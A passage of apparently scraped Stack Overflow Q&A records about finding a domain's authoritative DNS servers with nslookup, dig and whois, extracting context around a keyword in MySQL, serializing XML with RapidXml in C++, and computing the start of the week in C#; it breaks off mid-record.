"text": "<p>An easy way is to use an online domain tool. My favorite is <a href=\"http://whois.domaintools.com/stackoverflow.com\" rel=\"nofollow noreferrer\">Domain Tools</a> (formerly whois.sc). I'm not sure if they can resolve conflicting DNS records though. As an example, the DNS servers for stackoverflow.com are</p>\n\n<pre><code> NS51.DOMAINCONTROL.COM\n NS52.DOMAINCONTROL.COM\n</code></pre>\n"
},
{
"answer_id": 38028,
"author": "Antti Kissaniemi",
"author_id": 2948,
"author_profile": "https://Stackoverflow.com/users/2948",
"pm_score": 10,
"selected": true,
"text": "<p>You'll want the SOA (Start of Authority) record for a given domain name, and this is how you accomplish it using the universally available <strong>nslookup</strong> command line tool:</p>\n\n<pre><code>command line> nslookup\n> set querytype=soa\n> stackoverflow.com\nServer: 217.30.180.230\nAddress: 217.30.180.230#53\n\nNon-authoritative answer:\nstackoverflow.com\n origin = ns51.domaincontrol.com # (\"primary name server\" on Windows)\n mail addr = dns.jomax.net # (\"responsible mail addr\" on Windows)\n serial = 2008041300\n refresh = 28800\n retry = 7200\n expire = 604800\n minimum = 86400\nAuthoritative answers can be found from:\nstackoverflow.com nameserver = ns52.domaincontrol.com.\nstackoverflow.com nameserver = ns51.domaincontrol.com.\n</code></pre>\n\n<p>The <strong>origin</strong> (or <strong>primary name server</strong> on Windows) line tells you that <strong>ns51.domaincontrol</strong> is the main name server for <strong>stackoverflow.com</strong>.</p>\n\n<p>At the end of output all authoritative servers, including backup servers for the given domain, are listed.</p>\n"
},
{
"answer_id": 38029,
"author": "David Precious",
"author_id": 4040,
"author_profile": "https://Stackoverflow.com/users/4040",
"pm_score": 4,
"selected": false,
"text": "<p>You could find out the nameservers for a domain with the "host" command:</p>\n<pre><code>[davidp@supernova:~]$ host -t ns stackoverflow.com\nstackoverflow.com name server ns51.domaincontrol.com.\nstackoverflow.com name server ns52.domaincontrol.com.\n</code></pre>\n"
},
{
"answer_id": 38031,
"author": "Chris de Vries",
"author_id": 3836,
"author_profile": "https://Stackoverflow.com/users/3836",
"pm_score": 2,
"selected": false,
"text": "<p>You can use the whois service. On a UNIX like operating system you would execute the following command. Alternatively you can do it on the web at <a href=\"http://www.internic.net/whois.html\" rel=\"nofollow noreferrer\">http://www.internic.net/whois.html</a>.</p>\n\n<p>whois stackoverflow.com</p>\n\n<p>You would get the following response.</p>\n\n<p>...text removed here...</p>\n\n<p>Domain servers in listed order:\nNS51.DOMAINCONTROL.COM\nNS52.DOMAINCONTROL.COM</p>\n\n<p>You can use nslookup or dig to find out more information about records for a given domain. This might help you resolve the conflicts you have described.</p>\n"
},
{
"answer_id": 38034,
"author": "aryeh",
"author_id": 3288,
"author_profile": "https://Stackoverflow.com/users/3288",
"pm_score": 5,
"selected": false,
"text": "<p>On *nix:</p>\n\n<pre><code>$ dig -t ns <domain name>\n</code></pre>\n"
},
{
"answer_id": 38038,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "<p>The term you should be googling is \"authoritative,\" not \"definitive\".</p>\n\n<p>On Linux or Mac you can use the commands <code>whois</code>, <code>dig</code>, <code>host</code>, <code>nslookup</code> or several others. <code>nslookup</code> might also work on Windows.</p>\n\n<p>An example:</p>\n\n<pre><code>$ whois stackoverflow.com\n[...]\n Domain servers in listed order:\n NS51.DOMAINCONTROL.COM\n NS52.DOMAINCONTROL.COM\n</code></pre>\n\n<p>As for the extra credit: Yes, it is possible.</p>\n\n<hr>\n\n<p>aryeh is definitely wrong, as his suggestion usually will only give you the IP address for the hostname. If you use <code>dig</code>, you have to look for NS records, like so:</p>\n\n<pre><code>dig ns stackoverflow.com\n</code></pre>\n\n<p>Keep in mind that this may ask your local DNS server and thus may give wrong or out-of-date answers that it has in its cache.</p>\n"
},
{
"answer_id": 390986,
"author": "bortzmeyer",
"author_id": 15625,
"author_profile": "https://Stackoverflow.com/users/15625",
"pm_score": 8,
"selected": false,
"text": "<p>You used the singular in your question but there are typically several authoritative name servers, the RFC 1034 recommends at least two.</p>\n\n<p>Unless you mean \"primary name server\" and not \"authoritative name server\". The secondary name servers <strong>are</strong> authoritative.</p>\n\n<p>To find out the name servers of a domain on Unix:</p>\n\n<pre><code> % dig +short NS stackoverflow.com\n ns52.domaincontrol.com.\n ns51.domaincontrol.com.\n</code></pre>\n\n<p>To find out the server listed as primary (the notion of \"primary\" is quite fuzzy these days and typically has no good answer):</p>\n\n<pre><code>% dig +short SOA stackoverflow.com | cut -d' ' -f1\nns51.domaincontrol.com.\n</code></pre>\n\n<p>To check discrepencies between name servers, my preference goes to the old <code>check_soa</code> tool, described in Liu & Albitz \"DNS & BIND\" book (O'Reilly editor). The source code is available in <a href=\"http://examples.oreilly.com/dns5/\" rel=\"noreferrer\">http://examples.oreilly.com/dns5/</a></p>\n\n<pre><code>% check_soa stackoverflow.com\nns51.domaincontrol.com has serial number 2008041300\nns52.domaincontrol.com has serial number 2008041300\n</code></pre>\n\n<p>Here, the two authoritative name servers have the same serial number. Good.</p>\n"
},
{
"answer_id": 538472,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Unfortunately, most of these tools only return the NS record as provided by the actual name server itself. To be more accurate in determining which name servers are actually responsible for a domain, you'd have to either use \"whois\" and check the domains listed there OR use \"dig [domain] NS @[root name server]\" and run that recursively until you get the name server listings...</p>\n\n<p>I wish there were a simple command line that you could run to get THAT result dependably and in a consistent format, not just the result that is given from the name server itself. The purpose of this for me is to be able to query about 330 domain names that I manage so I can determine exactly which name server each domain is pointing to (as per their registrar settings).</p>\n\n<p>Anyone know of a command using \"dig\" or \"host\" or something else on *nix?</p>\n"
},
{
"answer_id": 20847800,
"author": "Nitin Agarwal",
"author_id": 412005,
"author_profile": "https://Stackoverflow.com/users/412005",
"pm_score": 3,
"selected": false,
"text": "<p>We've built a <a href=\"https://www.misk.com/tools/\" rel=\"noreferrer\">dns lookup tool</a> that gives you the domain's <strong>authoritative nameservers</strong> and its common dns records in one request.</p>\n\n<p>Example: <a href=\"https://www.misk.com/tools/#dns/stackoverflow.com\" rel=\"noreferrer\">https://www.misk.com/tools/#dns/stackoverflow.com</a></p>\n\n<p>Our tool finds the authoritative nameservers by performing a realtime (uncached) dns lookup at the root nameservers and then following the nameserver referrals until we reach the authoritative nameservers. This is the same logic that dns resolvers use to obtain authoritative answers. A random authoritative nameserver is selected (and identified) on each query allowing you to find conflicting dns records by performing multiple requests.</p>\n\n<p>You can also view the nameserver delegation path by clicking on \"Authoritative Nameservers\" at the bottom of the dns lookup results from the example above.</p>\n\n<p>Example: <a href=\"https://www.misk.com/tools/#dns/[email protected]\" rel=\"noreferrer\">https://www.misk.com/tools/#dns/[email protected]</a></p>\n"
},
{
"answer_id": 39960663,
"author": "Alex",
"author_id": 1328737,
"author_profile": "https://Stackoverflow.com/users/1328737",
"pm_score": 4,
"selected": false,
"text": "<p>I found that the best way it to add always the +trace option:</p>\n\n<pre><code>dig SOA +trace stackoverflow.com\n</code></pre>\n\n<p>It works also with recursive CNAME hosted in different provider. +trace trace imply +norecurse so the result is just for the domain you specify.</p>\n"
},
{
"answer_id": 48893937,
"author": "Dennis",
"author_id": 8178135,
"author_profile": "https://Stackoverflow.com/users/8178135",
"pm_score": 1,
"selected": false,
"text": "<p>SOA records are present on all servers further up the hierarchy, over which the domain owner has NO control, and they all in effect point to the one authoritative name server under control of the domain owner. </p>\n\n<p>The SOA record on the authoritative server itself is, on the other hand, not strictly needed for resolving that domain, and can contain bogus info (or hidden primary, or otherwise restricted servers) and should not be relied on to determine the authoritative name server for a given domain.</p>\n\n<p>You need to query the server that is authoritative for the <em>top level domain</em> to obtain reliable SOA information for a given child domain.</p>\n\n<p>(The information about which server is authoritative for which TLD can be queried from the root name servers).</p>\n\n<p>When you have reliable information about the SOA from the TLD authoritative server, you can then query the primary name server itself authoritative (the one thats in the SOA record on the gTLD nameserver!) for any other NS records, and then proceed with checking all those name servers you've got from querying the NS records, to see if there is any inconsistency for any other particular record, on any of those servers.</p>\n\n<p>This all works much better/reliable with linux and dig than with nslookup/windows.</p>\n"
},
{
"answer_id": 61221144,
"author": "dannyw",
"author_id": 3518106,
"author_profile": "https://Stackoverflow.com/users/3518106",
"pm_score": 2,
"selected": false,
"text": "<p>I have found that for some domains, the above answers do not work. The quickest way I have found is to first check for an NS record. If that doesn't exist, check for an SOA record. If that doesn't exist, recursively resolve the name using dig and take the last NS record returned. An example that fits this is <code>analyticsdcs.ccs.mcafee.com.</code></p>\n\n<ol>\n<li>Check for an NS record</li>\n</ol>\n\n<p><code>host -t NS analyticsdcs.ccs.mcafee.com.</code></p>\n\n<ol start=\"2\">\n<li>If no NS found, check for an SOA record</li>\n</ol>\n\n<p><code>host -t SOA analyticsdcs.ccs.mcafee.com.</code></p>\n\n<ol start=\"3\">\n<li>If neither NS or SOA, do full recursive and take the last NS returned</li>\n</ol>\n\n<p><code>dig +trace analyticsdcs.ccs.mcafee.com. | grep -w 'IN[[:space:]]*NS' | tail -1</code></p>\n\n<ol start=\"4\">\n<li>Test that the name server returned works</li>\n</ol>\n\n<p><code>host analyticsdcs.ccs.mcafee.com. gtm2.mcafee.com.</code></p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38021",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/319/"
] | How can I find the origins of conflicting DNS records? | You'll want the SOA (Start of Authority) record for a given domain name, and this is how you accomplish it using the universally available **nslookup** command line tool:
```
command line> nslookup
> set querytype=soa
> stackoverflow.com
Server: 217.30.180.230
Address: 217.30.180.230#53
Non-authoritative answer:
stackoverflow.com
origin = ns51.domaincontrol.com # ("primary name server" on Windows)
mail addr = dns.jomax.net # ("responsible mail addr" on Windows)
serial = 2008041300
refresh = 28800
retry = 7200
expire = 604800
minimum = 86400
Authoritative answers can be found from:
stackoverflow.com nameserver = ns52.domaincontrol.com.
stackoverflow.com nameserver = ns51.domaincontrol.com.
```
The **origin** (or **primary name server** on Windows) line tells you that **ns51.domaincontrol** is the main name server for **stackoverflow.com**.
At the end of output all authoritative servers, including backup servers for the given domain, are listed. |
38,035 | <p>I'm building a basic search functionality, using LIKE (I'd be using fulltext but can't at the moment) and I'm wondering if MySQL can, on searching for a keyword (e.g. WHERE field LIKE '%word%') return 20 words either side of the keyword, as well?</p>
| [
{
"answer_id": 38063,
"author": "aryeh",
"author_id": 3288,
"author_profile": "https://Stackoverflow.com/users/3288",
"pm_score": 0,
"selected": false,
"text": "<p>Use the INSTR() function to find the position of the word in the string, and then use SUBSTRING() function to select a portion of characters before and after the position.</p>\n\n<p>You'd have to look out that your SUBSTRING instruction don't use negative values or you'll get weird results.</p>\n\n<p>Try that, and report back.</p>\n"
},
{
"answer_id": 38188,
"author": "JimmyJ",
"author_id": 2083,
"author_profile": "https://Stackoverflow.com/users/2083",
"pm_score": 0,
"selected": false,
"text": "<p>I don't think its possible to limit the number of words returned, however to limit the number of chars returned you could do something like</p>\n\n<pre><code>SELECT SUBSTRING(field_name, LOCATE('keyword', field_name) - chars_before, total_chars) FROM table_name WHERE field_name LIKE \"%keyword%\"\n</code></pre>\n\n<ul>\n<li>chars_before - is the number of\nchars you wish to select before the\nkeyword(s)</li>\n<li>total_chars - is the\ntotal number of chars you wish to\nselect</li>\n</ul>\n\n<p>i.e. the following example would return 30 chars of data staring from 15 chars before the keyword</p>\n\n<pre><code>SUBSTRING(field_name, LOCATE('keyword', field_name) - 15, 30)\n</code></pre>\n\n<p>Note: as aryeh pointed out, any negative values in SUBSTRING() buggers things up considerably - for example if the keyword is found within the first [chars_before] chars of the field, then the last [chars_before] chars of data in the field are returned.</p>\n"
},
{
"answer_id": 38245,
"author": "Fernando Barrocal",
"author_id": 2274,
"author_profile": "https://Stackoverflow.com/users/2274",
"pm_score": 0,
"selected": false,
"text": "<p>I think your best bet is to get the result via SQL query and apply a regular expression programatically that will allow you to retrieve a group of words before and after the searched word.</p>\n\n<p>I can't test it now, but the regular expression should be something like:</p>\n\n<pre><code>.*(\\w+)\\s*WORD\\s*(\\w+).*\n</code></pre>\n\n<p>where you replace <code>WORD</code> for the searched word and use regex group 1 as before-words, and 2 as after-words</p>\n\n<p>I will test it later when I can ask my <a href=\"http://www.regexbuddy.com/\" rel=\"nofollow noreferrer\">RegexBuddy</a> if it will work :) and I will post it here</p>\n"
},
{
"answer_id": 2509444,
"author": "Paulo Pinto",
"author_id": 189929,
"author_profile": "https://Stackoverflow.com/users/189929",
"pm_score": 3,
"selected": true,
"text": "<p>You can do it all in the query using SUBSTRING_INDEX</p>\n\n<pre><code>CONCAT_WS(\n' ',\n-- 20 words before\nTRIM(\n SUBSTRING_INDEX(\n SUBSTRING(field, 1, INSTR(field, 'word') - 1 ),\n ' ',\n -20\n )\n),\n-- your word\n'word',\n-- 20 words after\nTRIM(\n SUBSTRING_INDEX(\n SUBSTRING(field, INSTR(field, 'word') + LENGTH('word') ),\n ' ',\n 20\n )\n)\n</code></pre>\n\n<p>)</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38035",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/393028/"
] | I'm building a basic search functionality, using LIKE (I'd be using fulltext but can't at the moment) and I'm wondering if MySQL can, on searching for a keyword (e.g. WHERE field LIKE '%word%') return 20 words either side of the keyword, as well? | You can do it all in the query using SUBSTRING\_INDEX
```
CONCAT_WS(
' ',
-- 20 words before
TRIM(
SUBSTRING_INDEX(
SUBSTRING(field, 1, INSTR(field, 'word') - 1 ),
' ',
-20
)
),
-- your word
'word',
-- 20 words after
TRIM(
SUBSTRING_INDEX(
SUBSTRING(field, INSTR(field, 'word') + LENGTH('word') ),
' ',
20
)
)
```
) |
38,037 | <p>In my C++ program I want to parse a small piece of XML, insert some nodes, then extract the new XML (preferably as a <code>std::string</code>).<br>
<a href="http://rapidxml.sourceforge.net/" rel="nofollow noreferrer">RapidXml</a> has been recommended to me, but I can't see how to retrieve the XML back as a text string.<br>
(I could iterate over the nodes and attributes and build it myself, but surely there's a build in function that I am missing.)<br>
Thank you.</p>
| [
{
"answer_id": 38127,
"author": "Adam Tegen",
"author_id": 4066,
"author_profile": "https://Stackoverflow.com/users/4066",
"pm_score": 0,
"selected": false,
"text": "<p>If you aren't yet committed to Rapid XML, I can recommend some alternative libraries:</p>\n\n<ul>\n<li><p>Xerces - This is probably the defacto C++ implementation.</p></li>\n<li><p>XMLite - I've had some luck with this minimal XML implementation. See the article at <a href=\"http://www.codeproject.com/KB/recipes/xmlite.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/recipes/xmlite.aspx</a></p></li>\n</ul>\n"
},
{
"answer_id": 38138,
"author": "Adam Tegen",
"author_id": 4066,
"author_profile": "https://Stackoverflow.com/users/4066",
"pm_score": 2,
"selected": false,
"text": "<p>If you do build XML yourself, don't forget to escape the special characters. This tends to be overlooked, but can cause some serious headaches if it is not implemented:</p>\n\n<ul>\n<li>< &lt;</li>\n<li>> &gt;</li>\n<li>& &amp;</li>\n<li>" &quot;</li>\n<li>' &apos;</li>\n</ul>\n"
},
{
"answer_id": 38413,
"author": "Thomas Watnedal",
"author_id": 4059,
"author_profile": "https://Stackoverflow.com/users/4059",
"pm_score": 4,
"selected": true,
"text": "<p>Althoug the documentation is poor on this topic, I managed to get some working code by looking at the source. Although it is missing the xml header which normally contains important information. Here is a small example program that does what you are looking for using rapidxml:</p>\n\n<pre><code>#include <iostream>\n#include <sstream>\n#include \"rapidxml/rapidxml.hpp\"\n#include \"rapidxml/rapidxml_print.hpp\"\n\nint main(int argc, char* argv[]) {\n char xml[] = \"<?xml version=\\\"1.0\\\" encoding=\\\"latin-1\\\"?>\"\n \"<book>\"\n \"</book>\";\n\n //Parse the original document\n rapidxml::xml_document<> doc;\n doc.parse<0>(xml);\n std::cout << \"Name of my first node is: \" << doc.first_node()->name() << \"\\n\";\n\n //Insert something\n rapidxml::xml_node<> *node = doc.allocate_node(rapidxml::node_element, \"author\", \"John Doe\");\n doc.first_node()->append_node(node);\n\n std::stringstream ss;\n ss <<*doc.first_node();\n std::string result_xml = ss.str();\n std::cout <<result_xml<<std::endl;\n return 0;\n}\n</code></pre>\n"
},
{
"answer_id": 161930,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "<p>Use <code>print</code> function (found in <code>rapidxml_print.hpp</code> utility header) to print the XML node contents to a <code>stringstream</code>.</p>\n"
},
{
"answer_id": 3484223,
"author": "Petrus Theron",
"author_id": 198927,
"author_profile": "https://Stackoverflow.com/users/198927",
"pm_score": 2,
"selected": false,
"text": "<p>Here's how to print a node to a string straight from the <a href=\"http://rapidxml.sourceforge.net/manual.html\" rel=\"nofollow noreferrer\">RapidXML Manual</a>:</p>\n\n<pre><code>xml_document<> doc; // character type defaults to char\n// ... some code to fill the document\n\n// Print to stream using operator <<\nstd::cout << doc; \n\n// Print to stream using print function, specifying printing flags\nprint(std::cout, doc, 0); // 0 means default printing flags\n\n// Print to string using output iterator\nstd::string s;\nprint(std::back_inserter(s), doc, 0);\n\n// Print to memory buffer using output iterator\nchar buffer[4096]; // You are responsible for making the buffer large enough!\nchar *end = print(buffer, doc, 0); // end contains pointer to character after last printed character\n*end = 0; // Add string terminator after XML\n</code></pre>\n"
},
{
"answer_id": 8442106,
"author": "danath",
"author_id": 1089219,
"author_profile": "https://Stackoverflow.com/users/1089219",
"pm_score": 2,
"selected": false,
"text": "<p>rapidxml::print reuqires an output iterator to generate the output, so a character string works with it. But this is risky because I can not know whether an array with fixed length (like 2048 bytes) is long enough to hold all the content of the XML.</p>\n\n<p>The right way to do this is to pass in an output iterator of a string stream so allow the buffer to be expanded when the XML is being dumped into it.</p>\n\n<p>My code is like below:</p>\n\n<pre><code>std::stringstream stream;\nstd::ostream_iterator<char> iter(stream);\n\nrapidxml::print(iter, doc, rapidxml::print_no_indenting);\n\nprintf(\"%s\\n\", stream.str().c_str());\nprintf(\"len = %d\\n\", stream.str().size());\n</code></pre>\n"
},
{
"answer_id": 15023568,
"author": "uilianries",
"author_id": 2036859,
"author_profile": "https://Stackoverflow.com/users/2036859",
"pm_score": 0,
"selected": false,
"text": "<p>Use static_cast<></p>\n\n<p>Ex:</p>\n\n<pre><code>rapidxml::xml_document<> doc;\nrapidxml::xml_node <> * root_node = doc.first_node();\nstd::string strBuff;\n\ndoc.parse<0>(xml);\n\n.\n.\n.\nstrBuff = static_cast<std::string>(root_node->first_attribute(\"attribute_name\")->value());\n</code></pre>\n"
},
{
"answer_id": 15086468,
"author": "duckduckgo",
"author_id": 988930,
"author_profile": "https://Stackoverflow.com/users/988930",
"pm_score": 0,
"selected": false,
"text": "<p>Following is very easy,</p>\n\n<pre><code>std::string s;\nprint(back_inserter(s), doc, 0);\ncout << s;\n</code></pre>\n\n<p>You only need to include \"rapidxml_print.hpp\" header in your source code.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38037",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3590/"
] | In my C++ program I want to parse a small piece of XML, insert some nodes, then extract the new XML (preferably as a `std::string`).
[RapidXml](http://rapidxml.sourceforge.net/) has been recommended to me, but I can't see how to retrieve the XML back as a text string.
(I could iterate over the nodes and attributes and build it myself, but surely there's a build in function that I am missing.)
Thank you. | Althoug the documentation is poor on this topic, I managed to get some working code by looking at the source. Although it is missing the xml header which normally contains important information. Here is a small example program that does what you are looking for using rapidxml:
```
#include <iostream>
#include <sstream>
#include "rapidxml/rapidxml.hpp"
#include "rapidxml/rapidxml_print.hpp"
int main(int argc, char* argv[]) {
char xml[] = "<?xml version=\"1.0\" encoding=\"latin-1\"?>"
"<book>"
"</book>";
//Parse the original document
rapidxml::xml_document<> doc;
doc.parse<0>(xml);
std::cout << "Name of my first node is: " << doc.first_node()->name() << "\n";
//Insert something
rapidxml::xml_node<> *node = doc.allocate_node(rapidxml::node_element, "author", "John Doe");
doc.first_node()->append_node(node);
std::stringstream ss;
ss <<*doc.first_node();
std::string result_xml = ss.str();
std::cout <<result_xml<<std::endl;
return 0;
}
``` |
38,039 | <p>How do I find the start of the week (both Sunday and Monday) knowing just the current time in C#?</p>
<p>Something like:</p>
<pre><code>DateTime.Now.StartWeek(Monday);
</code></pre>
| [
{
"answer_id": 38049,
"author": "Skizz",
"author_id": 1898,
"author_profile": "https://Stackoverflow.com/users/1898",
"pm_score": 4,
"selected": false,
"text": "<p>This would give you the preceding Sunday (I think):</p>\n\n<pre><code>DateTime t = DateTime.Now;\nt -= new TimeSpan ((int) t.DayOfWeek, 0, 0, 0);\n</code></pre>\n"
},
{
"answer_id": 38051,
"author": "firedfly",
"author_id": 3123,
"author_profile": "https://Stackoverflow.com/users/3123",
"pm_score": 1,
"selected": false,
"text": "<p>The following method should return the DateTime that you want. Pass in true for Sunday being the first day of the week, false for Monday:</p>\n\n<pre><code>private DateTime getStartOfWeek(bool useSunday)\n{\n DateTime now = DateTime.Now;\n int dayOfWeek = (int)now.DayOfWeek;\n\n if(!useSunday)\n dayOfWeek--;\n\n if(dayOfWeek < 0)\n {// day of week is Sunday and we want to use Monday as the start of the week\n // Sunday is now the seventh day of the week\n dayOfWeek = 6;\n }\n\n return now.AddDays(-1 * (double)dayOfWeek);\n}\n</code></pre>\n"
},
{
"answer_id": 38060,
"author": "ljs",
"author_id": 3394,
"author_profile": "https://Stackoverflow.com/users/3394",
"pm_score": 4,
"selected": false,
"text": "<p>This may be a bit of a hack, but you can cast the .DayOfWeek property to an int (it's an enum and since its not had its underlying data type changed it defaults to int) and use that to determine the previous start of the week.</p>\n\n<p>It appears the week specified in the DayOfWeek enum starts on Sunday, so if we subtract 1 from this value that'll be equal to how many days the Monday is before the current date. We also need to map the Sunday (0) to equal 7 so given 1 - 7 = -6 the Sunday will map to the previous Monday:-</p>\n\n<pre><code>DateTime now = DateTime.Now;\nint dayOfWeek = (int)now.DayOfWeek;\ndayOfWeek = dayOfWeek == 0 ? 7 : dayOfWeek;\nDateTime startOfWeek = now.AddDays(1 - (int)now.DayOfWeek);\n</code></pre>\n\n<p>The code for the previous Sunday is simpler as we don't have to make this adjustment:-</p>\n\n<pre><code>DateTime now = DateTime.Now;\nint dayOfWeek = (int)now.DayOfWeek;\nDateTime startOfWeek = now.AddDays(-(int)now.DayOfWeek);\n</code></pre>\n"
},
{
"answer_id": 38064,
"author": "Compile This",
"author_id": 4048,
"author_profile": "https://Stackoverflow.com/users/4048",
"pm_score": 11,
"selected": true,
"text": "<p>Use an extension method:</p>\n<pre><code>public static class DateTimeExtensions\n{\n public static DateTime StartOfWeek(this DateTime dt, DayOfWeek startOfWeek)\n {\n int diff = (7 + (dt.DayOfWeek - startOfWeek)) % 7;\n return dt.AddDays(-1 * diff).Date;\n }\n}\n</code></pre>\n<p>Which can be used as follows:</p>\n<pre><code>DateTime dt = DateTime.Now.StartOfWeek(DayOfWeek.Monday);\nDateTime dt = DateTime.Now.StartOfWeek(DayOfWeek.Sunday);\n</code></pre>\n"
},
{
"answer_id": 38067,
"author": "Jason Navarrete",
"author_id": 3920,
"author_profile": "https://Stackoverflow.com/users/3920",
"pm_score": 6,
"selected": false,
"text": "<p>A little more verbose and culture-aware:</p>\n\n<pre><code>System.Globalization.CultureInfo ci = \n System.Threading.Thread.CurrentThread.CurrentCulture;\nDayOfWeek fdow = ci.DateTimeFormat.FirstDayOfWeek;\nDayOfWeek today = DateTime.Now.DayOfWeek;\nDateTime sow = DateTime.Now.AddDays(-(today - fdow)).Date;\n</code></pre>\n"
},
{
"answer_id": 38076,
"author": "Glenn Slaven",
"author_id": 2975,
"author_profile": "https://Stackoverflow.com/users/2975",
"pm_score": 2,
"selected": false,
"text": "<p>This would give you midnight on the first Sunday of the week:</p>\n\n<pre><code>DateTime t = DateTime.Now;\nt -= new TimeSpan ((int) t.DayOfWeek, t.Hour, t.Minute, t.Second);\n</code></pre>\n\n<p>This gives you the first Monday at midnight:</p>\n\n<pre><code>DateTime t = DateTime.Now;\nt -= new TimeSpan ((int) t.DayOfWeek - 1, t.Hour, t.Minute, t.Second);\n</code></pre>\n"
},
{
"answer_id": 38137,
"author": "Domenic",
"author_id": 3191,
"author_profile": "https://Stackoverflow.com/users/3191",
"pm_score": 1,
"selected": false,
"text": "<p>You could use the excellent <a href=\"http://www.codeplex.com/umbrella\" rel=\"nofollow noreferrer\">Umbrella library</a>:</p>\n\n<pre><code>using nVentive.Umbrella.Extensions.Calendar;\nDateTime beginning = DateTime.Now.BeginningOfWeek();\n</code></pre>\n\n<p>However, they <em>do</em> seem to have stored Monday as the first day of the week (see the property <code>nVentive.Umbrella.Extensions.Calendar.DefaultDateTimeCalendarExtensions.WeekBeginsOn</code>), so that previous localized solution is a bit better. Unfortunate.</p>\n\n<p><strong>Edit</strong>: looking closer at the question, it looks like Umbrella might actually work for that too:</p>\n\n<pre><code>// Or DateTime.Now.PreviousDay(DayOfWeek.Monday)\nDateTime monday = DateTime.Now.PreviousMonday(); \nDateTime sunday = DateTime.Now.PreviousSunday();\n</code></pre>\n\n<p>Although it's worth noting that if you ask for the previous Monday on a Monday, it'll give you seven days back. But this is also true if you use <code>BeginningOfWeek</code>, which seems like a bug :(.</p>\n"
},
{
"answer_id": 38406,
"author": "Joel Coehoorn",
"author_id": 3043,
"author_profile": "https://Stackoverflow.com/users/3043",
"pm_score": 4,
"selected": false,
"text": "<p>Let's combine the culture-safe answer and the extension method answer:</p>\n\n<pre><code>public static class DateTimeExtensions\n{\n public static DateTime StartOfWeek(this DateTime dt, DayOfWeek startOfWeek)\n {\n System.Globalization.CultureInfo ci = System.Threading.Thread.CurrentThread.CurrentCulture;\n DayOfWeek fdow = ci.DateTimeFormat.FirstDayOfWeek;\n return DateTime.Today.AddDays(-(DateTime.Today.DayOfWeek- fdow));\n }\n}\n</code></pre>\n"
},
{
"answer_id": 1378914,
"author": "Simon",
"author_id": 53158,
"author_profile": "https://Stackoverflow.com/users/53158",
"pm_score": 5,
"selected": false,
"text": "<p>Using <a href=\"https://github.com/FluentDateTime/FluentDateTime\" rel=\"noreferrer\">Fluent DateTime</a>:</p>\n\n<pre><code>var monday = DateTime.Now.Previous(DayOfWeek.Monday);\nvar sunday = DateTime.Now.Previous(DayOfWeek.Sunday);\n</code></pre>\n"
},
{
"answer_id": 1830189,
"author": "mails2008",
"author_id": 222558,
"author_profile": "https://Stackoverflow.com/users/222558",
"pm_score": -1,
"selected": false,
"text": "<pre><code>public static System.DateTime getstartweek()\n{\n System.DateTime dt = System.DateTime.Now;\n System.DayOfWeek dmon = System.DayOfWeek.Monday;\n int span = dt.DayOfWeek - dmon;\n dt = dt.AddDays(-span);\n return dt;\n}\n</code></pre>\n"
},
{
"answer_id": 2883306,
"author": "user324365",
"author_id": 324365,
"author_profile": "https://Stackoverflow.com/users/324365",
"pm_score": 2,
"selected": false,
"text": "<p>Thanks for the examples. I needed to always use the \"CurrentCulture\" first day of the week and for an array I needed to know the exact Daynumber.. so here are my first extensions:</p>\n\n<pre><code>public static class DateTimeExtensions\n{\n //http://stackoverflow.com/questions/38039/how-can-i-get-the-datetime-for-the-start-of-the-week\n //http://stackoverflow.com/questions/1788508/calculate-date-with-monday-as-dayofweek1\n public static DateTime StartOfWeek(this DateTime dt)\n {\n //difference in days\n int diff = (int)dt.DayOfWeek - (int)CultureInfo.CurrentCulture.DateTimeFormat.FirstDayOfWeek; //sunday=always0, monday=always1, etc.\n\n //As a result we need to have day 0,1,2,3,4,5,6 \n if (diff < 0)\n {\n diff += 7;\n }\n return dt.AddDays(-1 * diff).Date;\n }\n\n public static int DayNoOfWeek(this DateTime dt)\n {\n //difference in days\n int diff = (int)dt.DayOfWeek - (int)CultureInfo.CurrentCulture.DateTimeFormat.FirstDayOfWeek; //sunday=always0, monday=always1, etc.\n\n //As a result we need to have day 0,1,2,3,4,5,6 \n if (diff < 0)\n {\n diff += 7;\n }\n return diff + 1; //Make it 1..7\n }\n}\n</code></pre>\n"
},
{
"answer_id": 2926472,
"author": "Zamir",
"author_id": 352544,
"author_profile": "https://Stackoverflow.com/users/352544",
"pm_score": 0,
"selected": false,
"text": "<p>This will return both the beginning of the week and the end of the week dates: </p>\n\n<pre><code> private string[] GetWeekRange(DateTime dateToCheck)\n {\n string[] result = new string[2];\n TimeSpan duration = new TimeSpan(0, 0, 0, 0); //One day \n DateTime dateRangeBegin = dateToCheck;\n DateTime dateRangeEnd = DateTime.Today.Add(duration);\n\n dateRangeBegin = dateToCheck.AddDays(-(int)dateToCheck.DayOfWeek);\n dateRangeEnd = dateToCheck.AddDays(6 - (int)dateToCheck.DayOfWeek);\n\n result[0] = dateRangeBegin.Date.ToString();\n result[1] = dateRangeEnd.Date.ToString();\n return result;\n\n }\n</code></pre>\n\n<p>I have posted the complete code for calculating the begin/end of week, month, quarter and year on my blog\n<a href=\"http://zamirsblog.blogspot.com/2010/02/find-first-and-last-date-of-given-week.html\" rel=\"nofollow noreferrer\">ZamirsBlog</a></p>\n"
},
{
"answer_id": 10553208,
"author": "Janspeed",
"author_id": 1343550,
"author_profile": "https://Stackoverflow.com/users/1343550",
"pm_score": 5,
"selected": false,
